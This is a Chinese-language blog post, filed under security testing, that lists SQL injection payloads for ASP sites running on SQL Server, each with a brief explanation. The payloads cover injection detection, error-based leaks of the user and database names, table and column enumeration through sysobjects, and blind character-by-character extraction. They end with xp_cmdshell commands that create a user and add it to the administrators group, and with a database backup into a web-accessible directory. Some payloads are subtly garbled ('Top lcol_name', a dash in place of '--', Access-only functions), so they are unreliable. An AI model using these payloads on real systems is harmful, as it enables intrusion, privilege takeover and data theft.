ASP+SQL Server SQL 注入攻擊測試用例
說明 | |
Night-- Night’ and 1=1-- | 判斷是否存在注入漏洞。SQL Server中的行注釋符號為”--” |
URL;and user>0-- | User 是SQL Server的一個內置變量,它的值是當前連接的用戶名,數據類型為nvarchar。它的值是當前連接的用戶名,數據類型為nvarchar。用nvarchar類型與int類型比較會引起錯誤,而SQL Server在返回的錯誤信息中往往會暴露出user的值;將nvarchar值“XXX”轉換數據類型為int的列時發生語法錯誤。 |
URL;and db_name()>0-- | 獲取數據庫名稱 |
URL;and (select count(*) from sysobjects)>0—
| msysobjects是Access 數據庫的系統表,sysobjects是SQL Server的系統表。通過這兩次攻擊嘗試,可以從服務器的反饋中辨別出服務器使用的數據庫類型. |
URL;and (select count(*) from msysobjects)>0-- | |
Night’ and (select count(*) from sysobjects where Xtype=’u’ and status>0)=表的數目-- | 測試數據庫中有多少用戶自己建立的表,sysobjects中存放著數據庫內所有表的表名,列名等信息。xtype=’U’ and status>0 表示只檢索用戶建立的表名 |
Night’ and (select top 1 name from sysobjects where Xtype=’U’ and status>0 )>0-- | 獲得第一個表的名字 |
Night’ and (select top 1 name from sysobjects where Xtype=’U’ and status>0 and name!=’第一個表名’)>0-- | 通過類似的方式可以獲得其他表名 |
Night’ and (Select Top lcol_name(object_id(‘表名’),1) from sysobjects)>0-- | 通過sysobjects獲得列名 |
Night’ and (select top 1 len(列名) from 表名)>0-- | 獲得列名長度 |
Night’ and (select top 1 asc(mid(列名,1,1)) from 表名)>0-- | 逐字讀出列名的每一個字符,通常用戶沒有報錯返回的盲注 |
URL;exec master..xp_cmdshell “net user 用戶名和密碼” /add | 利用存儲過程xp_cmdshell在服務器主機上添加用戶 |
URL;exec master..xp_cmdshell “net localgroup administrators 用戶名 /add”-- | 將添加的用戶加入管理員組 |
URL;backup database 數據庫名 to disk=’路徑’;-- | 利用存儲過程將數據庫備份到可以通過HTTP訪問到得目錄下,或者也可通過網絡進行遠程備份 |
posted on 2013-12-09 10:32 順其自然EVO 閱讀(386) 評論(0) 編輯 收藏 所屬分類: 安全性測試